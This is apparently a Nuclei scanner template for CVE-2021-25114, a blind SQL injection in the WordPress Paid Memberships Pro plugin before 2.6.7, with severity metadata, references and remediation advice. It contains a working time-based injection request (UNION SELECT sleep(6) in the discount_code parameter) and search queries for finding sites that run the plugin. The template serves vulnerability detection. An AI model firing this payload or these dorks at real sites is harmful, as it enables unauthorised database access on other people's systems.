id: CVE-2021-25114 info: name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection author: theamanrawat severity: critical description: | WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database. remediation: | Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b - https://wordpress.org/plugins/paid-memberships-pro/ - https://nvd.nist.gov/vuln/detail/CVE-2021-25114 - https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/ - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-25114 cwe-id: CWE-89 epss-score: 0.03548 epss-percentile: 0.91594 cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: strangerstudios product: paid_memberships_pro framework: wordpress shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/ fofa-query: body=/wp-content/plugins/paid-memberships-pro/ publicwww-query: /wp-content/plugins/paid-memberships-pro/ google-query: inurl:"/wp-content/plugins/paid-memberships-pro" tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios http: - raw: - | @timeout: 15s GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - duration_1>=6 - contains(header_1, "application/json") - status_code == 200 - contains(body_2, 'other_discount_code_') condition: and # digest: 4a0a0047304502210080b4fd1ea8002928950a4be85999cc9bb3e3d35dd99ca34564c39556ae1544b002207c4249f959342254d0c492ed59ccd668a4925e63f456d78f2483e98a274c11b9:922c64590222798bb761d5b6d8e72950